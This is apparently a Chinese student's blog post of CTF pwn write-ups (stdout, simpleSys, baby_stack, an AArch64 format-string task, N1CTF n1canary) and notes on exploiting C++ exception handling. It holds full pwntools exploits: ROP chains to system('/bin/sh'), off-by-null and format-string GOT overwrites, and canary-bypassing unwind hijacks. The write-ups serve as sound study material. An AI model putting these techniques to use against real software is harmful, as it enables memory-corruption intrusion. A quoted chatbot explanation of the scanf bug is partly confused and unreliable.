2024暑期学习(一)

news/2024/11/17 9:38:40/文章来源:https://www.cnblogs.com/cosyQAQ/p/18351124

2024暑期学习(一)

非常非常非常感谢ve1kcon!^ ^✌️2024年暑期学习 (1) - ve1kcon - 博客园 (cnblogs.com)

学习内容:

1.复现了一点点题目

2.了解了C++异常处理

3.学习了Tmux的使用

cqb2024x

ctf

stdout

前置内容(copy):

setvbuf() 函数的原型如下

int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
  • stream 是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流
  • buffer 是分配给用户的缓冲,如果设置为 NULL,该函数会自动分配一个指定大小的缓冲
  • mode 指定了文件缓冲的模式
  • size 是缓冲的大小,以字节为单位

该函数的三参有三种模式:

  • 全缓冲:0,缓冲区满调用fflush() 后输出缓冲区内容
  • 行缓冲:1,缓冲区满遇到换行符调用fflush() 后输出缓冲区内容
  • 无缓冲:2,直接输出

了解了这些,后面的思路无非是通过填满缓冲区调用fflush()来输出缓冲区内容。但要调用 fflush() 函数显然需要 libc 基地址,但哪怕能够执行到 ROP 链泄出地址,也不会直接将数据输出,那么方法只剩下通过填满缓冲区的方式将数据带出来了。

检查保护

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)

main() 函数中存在 0x10 大小栈溢出

int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[80]; // [rsp+0h] [rbp-50h] BYREFinit(argc, argv, envp);puts("where is my stdout???");read(0, buf, 0x60uLL);return 0;
}
int init()
{setvbuf(stdout, 0LL, 0, 0LL);return setvbuf(stdin, 0LL, 2, 0LL);
}

vuln()函数:

ssize_t vuln()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFreturn read(0, buf, 0x200uLL);
}

extend()函数,这个函数可以用来填满输出缓冲区然后再rop:

__int64 extend()
{__int64 result; // raxchar s[8]; // [rsp+0h] [rbp-30h] BYREF__int64 v2; // [rsp+8h] [rbp-28h]__int64 v3; // [rsp+10h] [rbp-20h]__int64 v4; // [rsp+18h] [rbp-18h]int v5; // [rsp+28h] [rbp-8h]int v6; // [rsp+2Ch] [rbp-4h]puts("Just to increase the number of got tables");*(_QWORD *)s = 0x216F6C6C6568LL;v2 = 0LL;v3 = 0LL;v4 = 0LL;v6 = strlen(s);if ( strcmp(s, "hello!") )exit(0);puts("hello!");srand(1u);v5 = 0;result = (unsigned int)(rand() % 16);v5 = result;return result;
}

exp:

from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./stdout")
p = process([elf.path])
libc = ELF("/home/ubuntu/tools/glibc-all-in-one/libs/2.31-0ubuntu9.14_amd64/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'vuln = 0x40125D
pop_rdi_ret = 0x4013d3
puts_plt = 0x4010B0
ret = 0x000000000040101a
extend = 0x401287
pop_rsi_r15=0x4013d1
puts_got=0x404018
payload='a'*0x58+p64(vuln)
p.send(payload)
for i in range(2):payload='a'*0x28+p64(extend)*55+p64(pop_rdi_ret)+p64(puts_got)+p64(elf.plt['puts'])+p64(vuln)p.send(payload)
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-libc.sym["puts"]
info("libc_base: "+hex(libc_base))system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search('/bin/sh'))
payload='a'*0x28+p64(extend)*56+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.send(payload)p.interactive()

awdp

simpleSys

检查保护:

    Arch:     amd64-64-littleRELRO:    Full RELROStack:    No canary foundNX:       NX enabledPIE:      PIE enabled

menu()

int sub_17AD()
{puts("1. sign up");puts("2. login");puts("3. add bio");puts("4. logout");return printf("Enter your choice: ");
}

选项 3 如下,需要 root 账户才能使用,evil_read((__int64)s, v3) 存在整数溢出从而导致栈溢出 + off_by_null,然后还可以填充数据直到栈上存储了地址的地方,在执行到 printf("confirm your bio: %s [y/n]", s) 时带出地址信息,泄出地址后选择 n 继续循环

int sub_146A()
{int result; // eaxchar s[91]; // [rsp+0h] [rbp-60h] BYREFunsigned __int8 v2; // [rsp+5Bh] [rbp-5h] BYREFint v3; // [rsp+5Ch] [rbp-4h]if ( !check_login )return puts("login first");if ( !check_root )return puts("only root");while ( 1 ){printf("input length: ");v3 = get_num();if ( v3 > 80 )break;evil_read((__int64)s, v3);printf("confirm your bio: %s [y/n]", s);__isoc99_scanf("%c", &v2);getchar();result = v2;if ( v2 == 'y' )return result;v3 = 0;memset(s, 0, 0x50uLL);}return puts("too long");
}

选项2,输入name为root可以进入循环,base64() 函数会将用户输入的密码经过 base64 编码后存储在 mypasswd_b

int login()
{unsigned int v0; // eaxsize_t v1; // raxint result; // eaxsize_t v3; // raxsize_t v4; // raxchar mypasswd[48]; // [rsp+0h] [rbp-60h] BYREFchar myname[48]; // [rsp+30h] [rbp-30h] BYREFmemset(myname, 0, 0x25uLL);memset(mypasswd, 0, 0x25uLL);printf("username: ");evil_read((__int64)myname, 0x24uLL);printf("password: ");evil_read((__int64)mypasswd, 0x24uLL);if ( !strncmp(myname, "root", 4uLL) ){v0 = strlen(mypasswd);base64(mypasswd, v0, &mypasswd_b);v1 = strlen(root_passwd);if ( !strncmp(&mypasswd_b, root_passwd, v1) ){result = printf("%s login successfully\n", myname);check_root = 1;check_login = 1;return result;}}else{v3 = strlen(name);if ( !strncmp(myname, name, v3) ){v4 = strlen(passwd);if ( !strncmp(mypasswd, passwd, v4) ){result = printf("%s login successfully\n", myname);check_login = 1;return result;}}}return puts("fail to login");
}

刚好mypasswd_b和root_passwd是挨着的,”输入 36 个 'a' 进行编码后长度为 0x30,存储到 mypasswd_b 时因为存在 off-by-null 会将紧挨着的 root_passwd 低位覆盖为 '\x00',使得判断长度 v1 = strlen(root_passwd) 的值为 0 绕过判断,从而能够登录 root 账户“,看了下base64(),应该结尾这个地方存在off-by-null, *(_BYTE *)(v11 + a3) = 0;

.data:0000000000004020 ; char mypasswd_b
.data:0000000000004020 mypasswd_b      dq 0FFFFFFFFFFFFFFFFh   ; DATA XREF: login+B7↑o
.data:0000000000004020                                         ; login+E4↑o
.data:0000000000004028                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004030                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004038                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004040                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004048                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004050 ; char root_passwd[24]
.data:0000000000004050 root_passwd     db 'dGhpcyBpcyBwYXNzd29yZA=='
.data:0000000000004050                                         ; DATA XREF: login+C8↑o
.data:0000000000004050                                         ; login+DA↑o

其实可以发现 root_passwd 是以硬编码的形式存储,可以 base64 解码得到明文 this is password,但还是登录失败,经过调试发现了奇怪的地方,strncmp() 函数的三参是 0x19,照例来说编码的长度是 0x18

image-20240724154923371

v1 = strlen(root_passwd) 判断的是 root_passwd 的长度,因为后面其紧跟着 '\x01' 字节,所以导致检测长度增加,然后它也不是一串合法的经 base64 编码能得到字符串,所以只能按上述方法绕过

image-20240724155922396

image-20240724160025891

exp:

from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./simpleSys")
p = process([elf.path])
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
def menu(index):p.sendlineafter('Enter your choice: ', str(index))def signup(username, passwd):menu(1)p.sendlineafter('username: ', username)p.sendlineafter('password: ', passwd)def login(username, passwd):menu(2)p.sendlineafter('username: ', username)p.sendlineafter('password: ', passwd)def addbio(len, content='a'):menu(3)p.sendlineafter('length: ', str(len))p.sendline(content)# gdb.attach(p,"b *$rebase(0x14B2)")
# pause()
login('root', 'a'*36)
payload = 'a' * (0x30)
addbio(-1, payload)
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))- 0x273040
info("libc base: "+hex(libc_base))p.sendlineafter('[y/n]', 'n')pop_rdi_ret=libc_base+0x2a3e5
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
payload = 'a' * (0x60 + 0x8)
payload += p64(pop_rdi_ret + 1)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter('length: ', '-1')
p.sendline(payload)
p.sendlineafter('[y/n]', 'y')p.interactive()

WKCTF

baby_stack

检查保护,GOT 表可写,无 canary:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'./2.27-3ubuntu1.6'

wait()栈上数据大放送,甚至不需要构造 payload,输入数字作为对应偏移即可泄出对应数据:

__int64 wait()
{unsigned int v0; // eaxchar s[5]; // [rsp+Bh] [rbp-85h] BYREFchar format[120]; // [rsp+10h] [rbp-80h] BYREFputs("Press enter to continue");getc(stdin);printf("Pick a number: ");fgets(s, 5, stdin);v0 = strtol(s, 0LL, 10);snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);printf(format);return introduce();
}

get_num_bytes():

int get_num_bytes()
{unsigned int v0; // eaxchar s[13]; // [rsp+Bh] [rbp-15h] BYREFprintf("How many bytes do you want to read (max 256)? ");fgets(s, 5, stdin);v0 = strtol(s, 0LL, 10);if ( v0 > 0x100 )return puts("Don't break the rules!");elsereturn echo(v0);
}

echo()

__int64 __fastcall echo(unsigned int a1)
{char v2[256]; // [rsp+0h] [rbp-100h] BYREFreturn echo_inner(v2, a1);
}

echo_inner(_BYTE *a1, int a2)off-by-null,可以改 rbp 低位为 \x00,效果是在 echo_inner() 函数返回时有一定几率能够抬栈,此时若在上方布置了 ROP 链,则在上层函数 echo() 返回时就能执行到布置的链子,在 ROP 链前添加尽可能多的滑板指令可以提高成功率:

int __fastcall echo_inner(_BYTE *a1, int a2)
{a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;puts("You said:");return printf("%s", a1);
}

刚开始没怎么懂,后来调试了几遍弄明白了,就是利用返回的leave;ret;栈迁移:

exp:

from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
p = process([elf.path])
libc = ELF("/home/ubuntu/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'gdb.attach(p, "b *$rebase(0x1300)\nc")
pause()
p.send('1')
p.sendlineafter('number: ','6')
p.recvuntil('number is: ')
libc_base=int(p.recv(12),16)-0x57e3-0x3e7000
info("libc_base: "+hex(libc_base))
p.sendlineafter('(max 256)? ', '256')ret=libc_base+0x8aa
onegadget=libc_base+[0x4f29e,0x4f2a5,0x4f302,0x10a2fc][2]
payload=p64(ret)*31+p64(onegadget)
# pop_rdi_ret=libc_base+0x2164f
# system=libc_base+libc.sym['system']
# bin_sh=libc_base+next(libc.search('/bin/sh'))
# payload=p64(ret)*28+p64(pop_rdi_ret)+p64(bin_sh)+p64(0)p.send(payload)p.interactive()

something_changed

检查保护,一个 AARCH64 架构的程序,GOT 表可写,开了 canary 保护:

Arch:     aarch64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

AARCH64(也称为 ARM64)是 ARM 公司的 64 位处理器架构。它是 ARMv8-A 架构的一部分,设计用于增强性能和处理能力,特别是在移动设备、嵌入式系统、服务器和高性能计算领域。

➜  silent ./silent 
/lib/ld-linux-aarch64.so.1: No such file or directory

运行报错,偷看下ve1kcon老师的作业

解决方法如下

$ sudo apt-get install gcc-10-aarch64-linux-gnu
$ sudo cp /usr/aarch64-linux-gnu/lib/* /lib/

main()main函数存在栈溢出漏洞和格式化字符串漏洞:

int __fastcall main(int argc, const char **argv, const char **envp)
{size_t v4; // x19int i; // [xsp+FCCh] [xbp+2Ch]char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF__int64 v7; // [xsp+FF8h] [xbp+58h]v7 = _bss_start;read(0, v6, 0x50uLL);for ( i = 0; ; ++i ){v4 = i;if ( v4 >= strlen(v6) )break;if ( (char *)(unsigned __int8)v6[i] == "$" )return 0;}printf(v6);return 0;
}

存在backdoor:

__int64 backdoor()
{__int64 v1; // [xsp+18h] [xbp+18h]v1 = _bss_start;system("/bin/sh");return v1 ^ _bss_start;
}

测下偏移,偏移是14:

➜  silent ./silent
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaaaaaa-0x40007ffd80-0x2c-0xfffff-(nil)-(nil)-0x6f242c6f242c6f24-0x7f7f7f7f7f7f7f7f-0x40007ffd70-0x40008773fc-0x40007ffee8-0x400081314c-0x40007ffee8-0x4b00000001-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70

canary被破坏会触发__stack_chk_fail() 函数,所以直接使用 fmtstr_payload 这个轮子将 __stack_chk_fail() 函数的 GOT 表改成后门地址

exp:

from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./silent")
p = process([elf.path])
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'payload=fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)p.interactive()

如何调试异构这道异构题:

在运行于 x86_64 架构上的 Ubuntu 系统里查看 arm 交叉编译的可执行文件依赖的动态库

➜  silent readelf -a ./silent | grep "Shared" 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]0x0000000000000001 (NEEDED)             Shared library: [ld-linux-aarch64.so.1]

第一个终端运行脚本,注意修改建立连接的语句 p = process(['qemu-aarch64-static', '-g', '1234', './pwn']),然后另起一个终端使用 GDB 连上去

另外 GDB 默认会自动检测并使用目标系统的字节序模式,但以防万一也可以自行设置小端序 pwndbg> set endian little

异构程序的调试和相关指令集学习详见 PowerPC&ARM架构下的pwn初探

$ gdb-multiarch -q -ex "set architecture aarch64" ./pwn
pwndbg> add-symbol-file ./libc.so.6
pwndbg> set endian little
pwndbg> target remote :1234

exp:

from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-aarch64-static', './pwn'])
p = process(['qemu-aarch64-static', '-g', '1234', './silent'])def debug(content=None):if content is None:gdb.attach(p)pause()else:gdb.attach(p, content)pause()debug('''
add-symbol-file /lib/x86_64-linux-gnu/libc.so.6
target remote :1234
b *0x400854
c
''')
payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)p.interactive()

C++异常处理

前置知识:

异常是程序在执行期间产生的问题。C++ 异常是指在程序运行时发生的特殊情况,比如尝试除以零的操作。

异常提供了一种转移程序控制权的方式。C++ 异常处理涉及到三个关键字:try、catch、throw

  • throw: 当问题出现时,程序会抛出一个异常。这是通过使用 throw 关键字来完成的。
  • catch: 在您想要处理问题的地方,通过异常处理程序捕获异常。catch 关键字用于捕获异常。
  • try: try 块中的代码标识将被激活的特定异常。它后面通常跟着一个或多个 catch 块。

如果有一个块抛出一个异常,捕获异常的方法会使用 trycatch 关键字。try 块中放置可能抛出异常的代码,try 块中的代码被称为保护代码。使用 try/catch 语句的语法如下所示:

try { // 保护代码 }catch( ExceptionName e1 ) { // catch 块 }catch( ExceptionName e2 ) { // catch 块 }catch( ExceptionName eN ) { // catch 块 }

如果 try 块在不同的情境下会抛出不同的异常,这个时候可以尝试罗列多个 catch 语句,用于捕获不同类型的异常。来自-C++ 异常处理 | 菜鸟教程 (runoob.com)

调试一下ve1kcon的demo来加深对异常处理机制的理解,目的是去验证下列操作的可行性:

  1. 通过篡改 rbp 可以实现类似栈迁移的效果,来控制程序执行流 ROP
  2. unwind 会检测在调用链上的函数里是否有 catch handler,要有能捕捉对应类型异常的 catch 块;通过劫持 ret 可以执行到目标函数的 catch 代码块,但是前提是要需要拥有合法的 rbp
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>void backdoor()
{try{printf("We have never called this backdoor!");}catch (const char *s){printf("[!] Backdoor has catched the exception: %s\n", s);system("/bin/sh");}
}class x
{
public:char buf[0x10];x(void){// printf("x:x() called!\n");}~x(void){// printf("x:~x() called!\n");}
};void input()
{x tmp;printf("[!] enter your input:");fflush(stdout);int count = 0x100;size_t len = read(0, tmp.buf, count);if (len > 0x10){throw "Buffer overflow.";}printf("[+] input() return.\n");
}int main()
{try{input();printf("--------------------------------------\n");throw 1;}catch (int x){printf("[-] Int: %d\n", x);}catch (const char *s){printf("[-] String: %s\n", s);}printf("[+] main() return.\n");return 0;
}

检查一下保护,开了canary

    Arch:     amd64-64-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x400000)

输入点 buf 距离 rbp 的距离是0x30

unsigned __int64 input(void)
{_QWORD *exception; // raxchar buf[24]; // [rsp+10h] [rbp-30h] BYREFunsigned __int64 v3; // [rsp+28h] [rbp-18h]v3 = __readfsqword(0x28u);x::x((x *)buf);printf("[!] enter your input:");fflush(stdout);if ( (unsigned __int64)read(0, buf, 0x100uLL) > 0x10 ){exception = __cxa_allocate_exception(8uLL);*exception = "Buffer overflow.";__cxa_throw(exception, (struct type_info *)&`typeinfo for'char const*, 0LL);}puts("[+] input() return.");x::~x((x *)buf);return v3 - __readfsqword(0x28u);
}

输入长度分别为0x31和0x39的 PoC,发现会报不同的 crash,合理推测栈上的数据(例如 ret, rbp)会影响异常处理的流程

➜  C++异常处理 ./exc
[!] enter your input:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
[-] String: Buffer overflow.
[+] main() return.
➜  C++异常处理 ./exc
[!] enter your input:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
[1]    6613 bus error (core dumped)  ./exc

当程序执行到 input() 函数中的某个部分发生异常时,程序会立即开始异常处理过程,而不会继续执行该函数中异常后的代码。

这是因为异常处理会从 __cxa_throw() 开始,然后进行栈展开(unwind)、清理(cleanup)、寻找异常处理器(handler)等步骤。在这个过程中,程序不会执行发生异常的函数的剩余部分。它会沿着函数调用链向上查找,直到找到能够处理该异常的最近的函数,然后跳转到该函数的 catch 块继续执行。

因此,出现异常的函数中的 throw 语句后的代码,以及在栈展开过程中被跳过的函数的剩余代码,都不会被执行。这就是为什么你不会看到 input() 函数中 throw 语句后的任何输出。

image-20240727170245393

继续运行程序到报错的位置,0x401506 这条 ret 指令处出了问题,是错误的返回地址导致的,记录下这个指令地址

image-20240727190352838

根据指令地址,可以在 IDA 中定位到这是异常处理结束后的最终 ret 指令。因此,可以确定程序在执行 main 函数的异常处理器时崩溃。导致这种崩溃的原因很明显:最后执行的 leave; ret 指令将返回地址设置为 [rbp+8],导致非法的返回地址。这意味着可以在异常处理器中完成栈迁移。因此,可以尝试通过修改 rbp 来实现控制程序执行,从而提前布置好的 ROP 链。

image-20240727190807876

接下来尝试劫持程序去执行 GOT 表里的函数

image-20240727191757888

把rbp改成puts.got-0x8,利用 poc2 = padding + p64(0x404050-0x8),运行到上述断点处发现成功调用到了 puts 函数

image-20240727203416661

但这种利用方式只适用于 “通过将 old_rbp 存储于栈中来保留现场” 的函数调用约定,以及需要出现异常的函数的 caller function 要存在处理对应异常的代码块,否则也会走到 terminate

为了调试上述说法,对 demo 作了修改,主要改动如下

void test()
{x tmp;printf("[!] enter your input:");fflush(stdout);int count = 0x100;size_t len = read(0, tmp.buf, count);if (len > 0x10){throw "Buffer overflow.";}printf("[+] test() return.\n");
}void input()
{test();printf("[+] input() return.\n");
}

这回同样是使用 poc2,但 crash 了

image-20240727204540384

对 demo 重新修改的部分如下

void input()
{try{test();}catch (const char *s){printf("[-] String(From input): %s\n", s);}printf("[+] input() return.\n");
}

再琢磨下异常处理机制,能够发现另外一个利用点,就是假如函数A内有能够处理对应异常的 catch 块,是否可以通过影响运行时栈的函数调用链,即更改某 callee function ret 地址,从而能够成功执行到函数A的 handler 呢

下面尝试通过直接劫持 input() 函数的 ret, 可以发现在源码中有定义 backdoor() 函数,但程序中并没有一处存在对该后门函数的引用,利用 poc4 = poc2 + p64(0x401292+1) 尝试触发后门

这里将返回地址填充成了 backdoor() 函数里 try 代码块里的地址,它是一个范围,经测试能够成功利用的是一个左开右不确定的区间(x)

.text:0000000000401283                 lea     rax, format     ; "We have never called this backdoor!"
.text:000000000040128A                 mov     rdi, rax        ; format
.text:000000000040128D                 mov     eax, 0
.text:0000000000401292 ;   try {
.text:0000000000401292                 call    _printf
.text:0000000000401292 ;   } // starts at 401292
.text:0000000000401297                 jmp     short loc_4012FF

可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过 stack_check_fail() 这个函数对栈进行检测

image-20240727214549482

exp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)def debug(content=None):if content is None:gdb.attach(p)pause()else:gdb.attach(p, content)pause()def exp():debug('b *(&_Unwind_RaiseException+463)')				# call _read# b __cxa_throw@plt# b *0x401506						# handler ret# b *(&_Unwind_RaiseException+463)  # check rettest = 'a'*5padding = 'a'*0x30# poc = padding + '\n'#poc1 = padding + '\x01'poc2 = padding + p64(0x404050-0x8)#poc3 = poc2 + 'b'*8poc4 = poc2 + p64(0x401292+1)p.sendafter('input:', poc4)exp()
p.interactive()

N1CTF2023_n1canary

检查保护:

    Arch:     amd64-64-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x400000)

main():

int __fastcall main(int argc, const char **argv, const char **envp)
{__int64 v3; // rdx__int64 v4; // rax_QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREFv6[1] = __readfsqword(0x28u);setbuf(stdin, 0LL, envp);setbuf(stdout, 0LL, v3);init_canary();std::make_unique<BOFApp>(v6);v4 = std::unique_ptr<BOFApp>::operator->(v6);(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4);std::unique_ptr<BOFApp>::~unique_ptr(v6);return 0;
}

readall 函数被调用以读取用户提供的 canary 值。模板参数 unsigned long long [8] 表示要读取的类型是一个包含 8 个 unsigned long long 的数组。&user_canary 是存储用户提供的 canary 值的地址。函数返回 readall 的结果,这是一个 __int64 类型的值。

__int64 init_canary(void)
{if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )raise("canary init error");puts("To increase entropy, give me your canary");return readall<unsigned long long [8]>(&user_canary);
}
__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}

这段代码是 BOFApp 类的构造函数实现,具体做了以下事情:

  1. 调用基类构造函数:调用 UnsafeApp 类的构造函数来初始化 this 对象。
  2. 设置虚表指针:将 this 对象的前 8 字节设置为指向 off_4ED510,这通常是一个指向虚函数表(vtable)的指针,用于支持多态性。

概括来说,这段代码在创建 BOFApp 对象时,先初始化其基类 UnsafeApp,然后设置其虚表指针。

void __fastcall BOFApp::BOFApp(BOFApp *this)
{UnsafeApp::UnsafeApp(this);*(_QWORD *)this = off_4ED510;
}

创建一个 BOFApp 类的实例,然后调用 BOFApp构造函数初始化对象,跟进后面那个函数发现进行了 *a1 = v1 的操作

__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{BOFApp *v1; // rbxv1 = (BOFApp *)operator new(8uLL);*(_QWORD *)v1 = 0LL;BOFApp::BOFApp(v1);std::unique_ptr<BOFApp>::unique_ptr<std::default_delete<BOFApp>,void>(a1, v1);return a1;
}

执行完std::make_unique<BOFApp>((__int64)v6) 后,栈变量 v6 被重新赋值

image-20240729161120869

接下来调用BOFApp::launch() 函数

0x4ed520 <_ZTV6BOFApp+32>:	0x0000000000403552	0x0000000000000000
0x4ed530:	0x0000000000000000	0x0000000000000000
.data.rel.ro:00000000004ED510 off_4ED510      dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510                                         ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510                                         ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510                                         ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518                 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520                 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)

最后是对象的析构函数,里面要重点关注的函数的路径是 std::unique_ptr<BOFApp>::~unique_ptr() --> std::default_delete<BOFApp>::operator()(BOFApp*)这里存在函数指针调用,这意味着只需要控制 a2 的值就能控制程序流

__int64 __fastcall std::default_delete<BOFApp>::operator()(__int64 a1, __int64 a2)
{__int64 result; // raxresult = a2;if ( a2 )return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);return result;
}

通过调试分析参数a2和前面的栈变量v6有关

image-20240729163048503

image-20240729164858743

这里调用了0x4038b8

image-20240729165226360

这里存在栈溢出:

__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(__int64 a1,__int64 a2,int a3,int a4,int a5,int a6)
{return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}

chatgpt回答:这段代码中存在栈溢出的风险,主要是因为 _isoc23_scanf 函数的参数不正确。具体问题如下:

  1. 重复使用的参数_isoc23_scanf 接受的参数是变长参数列表,但在调用时,参数 a2 被重复使用了两次。这会导致未定义行为,因为 scanf 系列函数期望所有参数都是独立的。

  2. 参数数量错误_isoc23_scanf 的第一个参数是格式字符串,后续参数是根据格式字符串匹配的。传递给 _isoc23_scanf 的参数应与格式字符串中指定的格式完全一致。这里的格式字符串 "%[^\n]" 只需要一个参数,但实际传递了七个参数(包括重复的 a2a1)。

    "%[^\n]" 格式字符串会读取直到换行符的所有字符。如果输入的字符数超过了目标缓冲区的大小,就会导致缓冲区溢出。

断点下载__isoc23_scanf,输入deadbeef看下写入的位置

image-20240729174018174

距离指针0x70

bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{__int64 v1; // rbxbool result; // alv1 = *(_QWORD *)(a1 + 0x48);result = v1 != ProtectedBuffer<64ul>::getCanary(a1);if ( result )raise("*** stack smash detected ***");return result;
}void __fastcall __noreturn raise(const char *a1)
{std::runtime_error *exception; // rbxputs(a1);exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);std::runtime_error::runtime_error(exception, a1);_cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}

0x403291下断点,只要控了 RAX 就能够控到 RDX,在最后的 call rdx; 处便能造成任意代码执行

image-20240729181326985

image-20240729200135589

image-20240729200219711

exp:

from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
#context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
p = process([elf.path])def debug(content=None):if content is None:gdb.attach(p)pause()else:gdb.attach(p, content)pause()
# debug('b *0x403291\nc')
# b *0x403547               #BOFApp::launch(void):_isoc23_scanf
# b *0x40340D               # Destructor
# b *0x403909               # pointer call
# b *0x403291               # raise->throw
# b *0x403432               # <main+146>    call std::unique_ptr<BOFApp, std::default_delete<BOFApp> >::~unique_ptr()
# b *0x4038fc
backdoor = 0x403387
user_canary = 0x4F4AA0
payload = p64(user_canary+8) + p64(backdoor)*2
payload = payload.ljust(0x40, 'a')
p.sendafter('canary\n', payload)payload = 'a'*(0x70-0x8)
payload += p64(0x403407)    # ret
# payload += 'a'*(0x8)
payload += p64(user_canary) # BOFApp *v6
p.sendlineafter(' to pwn :)\n', payload)p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/780386.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数字样机:惯性导航系统控制单元仿真

01.简介 惯性导航系统 (INS,Inertial Navigation System) 基于惯性原理建立,而惯性是物体自身的固有属性,因此其工作时既不依赖于外部信息,也不向外部辐射能量,优于卫星导航与无线电导航,是一种具备隐蔽性、自主性的导航系统,被广泛应用于航空航天、无人机、智能交通等各…

宝塔配置域名反向代理到ip+端口的接口地址

宝塔配置域名反向代理到ip+端口的接口地址 添加站点 配置域名配置反向代理申请https证书[Haima的博客] http://www.cnblogs.com/haima/

从STM32CubeMX导入项目到Embedded Studio。(原文题目:Import projects from STM32CubeMX to Embedded Studio)

CubeMX生成项目,导入到Embedded Studio,并添加必要的文件原文链接 https://wiki.segger.com/Import_projects_from_STM32CubeMX_to_Embedded_Studio 原文来自于SEGGER的wiki,题目是Import projects from STM32CubeMX to Embedded Studio 原文最后编辑于 2022/2/21. 摘要: C…

达梦数据库有关hash及分组等操作相关优化

最近在项目中调试存储过程碰到一些关于hash及分组相关的性能问题 示例1:在调试过程中, 该sql执行很久后面报超出全局 hash join 空间的错误,重新调整HJ_BUF_GLOBAL_SIZE ,执行一个小时也不出结果。 INSERT INTO t_test (SELECT FundID, SeatNo, SUM(Balance), SUM(Availabl…

一文搞懂MES、ERP、SCM、WMS、APS、SCADA、PLM、QMS、CRM、EAM及其关系

